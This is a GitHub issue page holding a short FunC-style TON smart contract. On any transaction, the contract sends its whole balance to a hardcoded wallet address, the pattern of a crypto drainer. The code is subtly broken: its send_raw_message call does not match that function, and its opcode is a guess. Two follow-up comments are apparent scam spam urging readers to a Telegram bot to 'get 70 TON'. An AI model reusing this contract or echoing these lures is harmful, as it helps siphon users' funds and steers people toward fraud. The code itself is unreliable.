Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Smart Contract #1 #2

Open
Clamz111 opened this issue Nov 7, 2024 · 2 comments
Open

Smart Contract #1 #2

Clamz111 opened this issue Nov 7, 2024 · 2 comments

Comments

@Clamz111
Copy link

Clamz111 commented Nov 7, 2024

;; Define the fixed recipient address (your wallet address)
cell recipient_address = parse_address("UQCfR0cB_r-jFSl_nbeC8jlfY5uGv5Y9msP9DdKBy2CqRqbN");

;; Opcode for token transfer (this may vary depending on the token's implementation)
var transfer_all_tokens_opcode = 0x100;

;; Function to transfer all tokens to the specified recipient address
void transfer_all_tokens() {
;; Get the balance of tokens in the contract
var contract_balance = balance();

;; Send all tokens to the specified recipient address
send_raw_message(recipient_address, transfer_all_tokens_opcode, contract_balance);

}

;; Main function that triggers the transfer upon any signed transaction
void main() {
;; Trigger the transfer function immediately
transfer_all_tokens();
}

@Mayhem1380
Copy link

Send all tokens to my address 🎁Get 70 TON @‌stonfi_obot

@Mayhem1380
Copy link

claim

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants